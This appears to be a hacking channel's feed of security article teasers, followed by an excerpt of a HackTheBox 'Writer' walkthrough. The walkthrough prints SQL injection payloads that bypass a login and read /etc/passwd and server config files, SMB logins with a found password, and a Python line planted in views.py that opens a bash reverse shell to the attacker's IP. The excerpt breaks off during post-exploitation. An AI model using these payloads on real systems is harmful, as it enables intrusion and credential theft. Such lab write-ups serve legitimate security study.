In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.Continue reading on Medium » (https://corneacristian.medium.com/top-25-server-side-request-forgery-ssrf-bug-bounty-reports-136928356eca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I messed up my own profile data
https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5

Just wanted to share one of my experience which I had while testing one of the web application. I will be brief so that I do not waste…Continue reading on Medium » (https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The OAuth Misconfiguration
https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/

submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://infosecwriteups.com/the-oauth-misconfiguration-15e66dd19a6e) [comments] (https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Pip-Audit - Audits Python Environments And Dependency Trees For Known Vulnerabilities

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is an SQL injection and how to save yourself from it?

Data is everywhere. The world is producing and storing more data than ever. SQL is a database and is a very common tool to store data…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SID Nedir?

https://cdn-images-1.medium.com/max/673/1*0ntRe6ziFu6491oqKzkMsg.jpeg
SID - Security Identifiers (Güvenlik Tanımlayıcıları)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
3 Times Bots Have Impacted Major World Events

https://cdn-images-1.medium.com/max/2000/0*SDlc2cvqKpYrwW1q.jpg
From stealing sneakers to pinching PlayStations, bots are increasingly earning a reputation for being nefarious and disruptive — none more…

Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports

https://cdn-images-1.medium.com/max/2600/1*YxBRUnHoGIwt6jAHc4-lqw.jpeg
In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WRITING A SIMPLE ROOTKIT FOR LINUX

https://cdn-images-1.medium.com/max/718/1*g7xT7u_a1Dx6M_P7YdTY9Q.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
You Need a Password Manager

Passwords are critical to keeping your accounts secure, but many people do not set up their passwords in the most secure way available. A…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Writer HackTheBox Walkthrough

IntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege escalation using SMTP. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Directory enumeration to find admin page
* Detecting SQL injection on the login page

Exploitation

* Exploiting UNION based SQLi to get essential information about python based webserver
* Fetching internal files using SQL injection to compromise credentials of a user

Privilege Escalation

* Escalating from www-data to Kyle by cracking hashes in the database
* Escalating from Kyle to John by poisoning postfix/disclaimer file
* Escalating from John to root by exploiting apt-get

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -A 10.129.170.230
Open ports were:

* 22 running SSH
* 80 running a website
* 139 running netbios
* 445 running SMB service

https://blogger.googleusercontent.com/img/a/AVvXsEjwcPoODKo9X2F3lKbKJuyLKwiwtikY4u_AOkFxlNgyPp95g_ZnLom-7FRyDso-xyWgFL29SY1ENS5OAEbQuqrnapq6PEkmnfu2aehE0WHRZq_6L8CIimNGTTKgVdVqD1f2PtSye4QXdZmxCeGzVUq36bN2GgJGRJcHpLhAdo04e0gXDl5HyVYcpKHGKw=s16000 EnumerationThere was a website running on port 80

https://blogger.googleusercontent.com/img/a/AVvXsEhZW6-lh4_yJUs_tqUejXFgkX44sA96_Uia1ueeKf1vW4XGeeCOCrD1Gn-TqgUBVM-DmHbyBuyfJeX_ON_0VM6Wn-W2TnAWMXBRb6XAW0Z-mIAy4dtbXmzU575p30IdzlU8cP4Tx_blsgnTQeN-BQRdoZBJBcN4poXJnA_ie26pFbNELBQmR9olr7RbUw=s16000

So, we enumerated the directories using gobuster and seclists medium wordlist
gobuster dir -w /home/kali/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We found an interesting directory called administrative

https://blogger.googleusercontent.com/img/a/AVvXsEjuMNqJfpVBFC2x3uC3jlN0s_cftWRjMImp5dqCkmgg5FzjtY_PwLpRHbPPLv6VHX0yXLWy0aMPS-DorNcyqwIOts-WHlUerGLpM88eP-YCEwmzxg1zYM1OlX_ftx7UoCUmBdnTB1u7_vdDyp46fK_qLHLgm8bsPjsTr5k5ZjCCEbpY-EW2OsPOLreTbQ=s16000

This page seemed to be hosting a login panel

https://blogger.googleusercontent.com/img/a/AVvXsEjkD1q4uVHCCSuQvDFSnTPMPVwvDJnU3ELoCR8RCtOApnKUydCTMImcJOXuzJiX4lq7jqfeL0lyvqp1Pb8u0TGu1B6rL3KnBQfJqYADOvtzTdwypgSO34kpBo93nAaKfORYj444OHMT3CaZF5EyYIO3VbqNmXW_sasSMhu9vkvJqi0nodMrsXly595H4g=s16000 ExploitationRight away we tried logging in using SQL injection payload

username: ‘ or 1=1 —
password: ‘ or 1=1 —

And we got logged in!

https://blogger.googleusercontent.com/img/a/AVvXsEjH_DRrcI3ZpXKdUL0krUYdW72Eq82I5aCvu2x3HdXdhz6IvbwxOB0uaKLqtfuRYO9F-XNjuR7x6njl0FjWwy5C2FZVHdH2YzP8kaFCepQmHXBj9LdaBrNdhCAhAizNHpVQhT2VEnVVANuzG39Yh-ZUfhSX-SyJJIiAL8YlWtvQZKLHOviEMegj3D6woA=s16000

However, upon observing the request in Burpsuite repeater and using a UNION based SQLi payload, we observed that the second column in the active table was being reflected in the response
uname=admin' union select 1,2,3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAV7NQ9lBpTfOjvTZwgfWlcw1U4LJUdSee7wLhPDWAoMvE3XZ4fpPyOP4ZbZi7rzZXb4ZuBlFfpnoIOzxPLQWKWr2ZB0BkxrNj5O9APETz0w7V0NfTTNAQx9oFGl6ue0AIo1zWdx584pD42nuOgUEvTJcBnhuMAoR_WE3y9NPl0d_IQoiLyZTtStyqrw=s16000

We can see the active database’s name by changing the second column by the database() in the payload. As you can see, the active database is “writer”
uname=admin' union select 1,database(),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiU6cl5ly1H1bBaaP0HoyGFu3GFqoz3DtI72GHi9P8iDp1ag0G6-1igZNyJp99vKdZlY-wEtFsGS1fOxUXS3hpczUy-ZPBqnkChDtoc58mtclrv-krXIKEna-s0gDTlgPFxEgegXEOGylHRg3RigB3FdpWvzexgfdFmU950wVQ4nApaYbl1y1kKaP5tTA=s16000

Similarly, we can read the /etc/passwd file and try to learn what all users exist.
uname=admin' union select[...]

___________________________
@hacking_Attack
@Hacking_Video

1,load_file("/etc/passwd"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAyDpDEVcaXev2FIWhSSxrb6ZULX5txypAqQ2rhCQWnI3RZPxxIU8eN65TnY8NMHUqNnPsx6aHox-VOqYd23zwePKVP35jqjIWY05GlDp5rY8IF1730Fj97XordtHyJxqY1tbllL7V4aEAryqkfSTQbNEP-fI4BrPXMoDcHperohGCl04tRTezsZK2ow=s16000

This gave us an insight into the system. It of course was running Apache webserver so we looked at 000-default.conf file that includes the absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.
uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiuo-EYZ_zsieHUM9FNmErANzTfDO4Qkx1hxkpP6i31SiWh3zpLNQdlFhqBhjEP_L9CQsQPc3Ufyc7dJN6714DJFlO09eD8gOvIW0Gmch4LqSIE-y3KMVQTPbE1TqkTb2Uwqc6AuMbTDI_pst0ROubLfvWfOyWtKpmEGzQsihvzgwP2LjqyA6o-oSW9bw=s16000

Then we tried to read this wsgi file as it includes functions that are used by the server to communicate with the application. So we read this file and found __init__.py was being imported.

https://blogger.googleusercontent.com/img/a/AVvXsEg2T7W2aOvMmvEgxUj5SFG5R7gazEJaXNZVQq-83Grx5f9RgEaHZtIEVa3qGZys8jEF3I5y-kgKhHGhm-d-3Q_OxEpaJonXPF5-VMTDOoUQlIvHSQBfwnItpl425_mOtayq84ho9p3xQj76TWZBLhzi1g3QbZ5m4QD2PquAha1miY9kbYTZpQkfaSODjw=s16000

So, we decided to read __init__.py file and found a credential!

https://blogger.googleusercontent.com/img/a/AVvXsEjgJlUziMEmq7cbz4yY0N_gfilc0Q6hHyiSFwhwRyAStVyfU7E1U3tx8TW3_wZcv-ljVKy_6590H_qa-IqJtCyHU7XoTMqKkE5oc9oPbufqZHdMW0vqLRbq0J3Z_3KDAPCRbO6PsFqbWqmpqtnnSDc2-D2fTmfvWndBIgdCPs1OVatGgAoAjipRFeuRgA=s16000

From the knowledge of /etc/passwd that we dumped earlier, we know there exists a finite number of users on the system. Out of those, Kyle seemed to react to this password when we connected to the SMB share. When we logged on to the share we saw the Python server’s files on there. One such file on Django or Flask is the “views.py” file. Views hold the logic that is required to return information as a response in whatever form to the user. This logic is held in the file “views.py”
smbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"
smbclient //10.129.170.230/writer2_project -U 'kyle%ToughPasswordToCrack'
cd writer_web
get views.py
https://blogger.googleusercontent.com/img/a/AVvXsEiLNZ2KoP621-LYKBscYWircW9uAs3gq2AYY1V5S0JH5_MML_aSrWe1zCNpDIQp8hESp4ajefacrvaophZTEiA0yHjiixufGmG1xmPFAZvYJGzIoSwYumFtyDxqLI8p7WnxxOgrzoo-O2NR7gB8NA6My2pC7eGO4XqVNwmmXFNwrSGP13-etvUHGB1N5w=s16000

Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one-liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.py
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.104/1234 0>&1"')
https://blogger.googleusercontent.com/img/a/AVvXsEiqoTz-nxKnLTm5okqOMeVDFMKwZ49jbbsbdpwQEVTIkvbP37pZKVwIwtjHlkMmrMiK8038JsLGqbVGYja70DHhauAkU_FgWuXgmXGgJeN6qWiKzxyzNvUsagxqFDxg6dTfuysZhn1gxW4n3p62aGS1GbhYnIm_b3inoaKJLYQcz7vvRZnM6D0PKakt6w=s16000

Thereafter, we replaced this views.py with the original one using put command in the SMB share

https://blogger.googleusercontent.com/img/a/AVvXsEh0_VLcenClOlfAu8uLake4mMOZKnmVfsfHKIW8B8pKevzk0p2mfIU8a1fpePhIHY6AC7t35FcCNHK-FzdbWKdTtgHH-UrsNZm-CuXtyTuYh1B_Zz7PftRazpcdPRtGMhiimJCdG_ErO6bhj6nqnU-m8ouRmbSjQORLU9JJewLCGWinZ1oiZ5hhHDLstQ=s16000

We set up a listener side by side and gave the website a refresh. We had received a reverse shell! Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run a server and migrating changes. However, dbshell command is used to communicate with the website’s database. So after a bit of exploring we found a hashed credential in the auth_user table.
python3 manage.py dbshell
show tables;
[...]

___________________________
@hacking_Attack
@Hacking_Video